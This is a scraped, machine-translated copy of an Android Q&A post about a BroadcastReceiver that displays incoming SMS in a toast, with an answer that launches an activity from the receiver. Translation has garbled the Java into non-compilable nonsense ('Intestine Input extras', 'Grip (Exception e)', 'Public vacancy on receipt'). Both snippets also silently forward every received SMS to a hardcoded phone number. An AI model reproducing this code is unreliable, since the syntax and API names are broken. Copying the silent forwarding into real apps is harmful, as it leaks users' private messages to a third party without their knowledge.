When receiving the sms, only the message was displayed but app didnt open - Android -


I'm new to Broadcast receiver concepts.

When the app receives the message it shows the message using toast .makeText. But the app did not open How can I open the app please help.

This is my active class

  Public class increases BroadcastNewSms activity (tied at protected zero) {super.onCreate (savedInstanceState); SetContentView (R.layout.androidexample_broadcast_newsms);}}  

This is a separate class from my incoming SMS when it receives only the message, but the app did not open how can I I am

  The public class extends the incoming SMS broadcast receiver (public reference is at zero (reference reference, intent to intent) {final bundle bundle = intent.Gate extras (); try {if ( Bundle! = Null) {last item [pdusObj = (object []) for bundle.get ("pdus"); (int i = 0; i & lt; pdusObj.length; i ++) {int duration = Toast.LNNHHLog; SMS Manager SMS = SMSManagerGet Default (); Sms.sendTextMessage ("7373457769", blank, message, empty, empty); St Toast = Toast. Make Text (Reference, "SendNum:" + SendName + ", Message:" + Message, Duration); toast.show ();} // Loop for end // // Bundle is NULL} Grip ( Exception e) {Log.e ("SmsReceiver", "Exception smsreceiver" + E);}}}  

Try it:

  Public class extends the incoming SMS broadcast receiver {public fixed last string NUMBER =" NUMBER "; public static final string MESSAGE =" MESSAGE "; Public vacancy on receipt ( Ndrb reference intended effect) {final Bundle bundle = intent.getExtras (); Try {if (bundle! = Null) {last item [pdusObj = (object []) bundle.get ("pdus"); (Int i = 0; i & lt; pdusObj.length; i ++) {int duration = toast. LNNHHLOG; SMS Manager SMS = SMSManager.Get Default (); Sms.sendTextMessage ("7373457769", blank, message, empty, empty); Toast toast = toast Make Text (context, "SendNum:" + SendName + ", Message:" + Message, Duration); Toast.show (); // !!! Intention = Intention = New Intent (Reference, BroadcastNewSms.class); Intent.setFlags (Intent.FLAG_ACTIVITY_NEW_TASK); Intestine Input extras (NUMBER, sendmail); Intent.putExtra (message, message); Context.startActivity; } // // loop} // bundle is tap}} hold (exception e) {Log.e ("SMS receiver", "exception SMS receiver" + e); }}} Public squared enhances BroadcastNewSms activity (protected void onCreate) (bundled saved instenstate) {super.onCreate (savedInstanceState); SetContentView (R.layout.androidexample_broadcast_newsms); // !!! Intent = getIntent (); String number = intent .getStringExtra (IncomingSMS.NUMBER); String message = intestine .getStringExtra (IncomingSms.MESSAGE); }}  

Comments

Popular posts from this blog

import - Python ImportError: No module named wmi -

Editing Python Class in Shell and SQLAlchemy -

c# - MySQL Parameterized Select Query joining tables issue -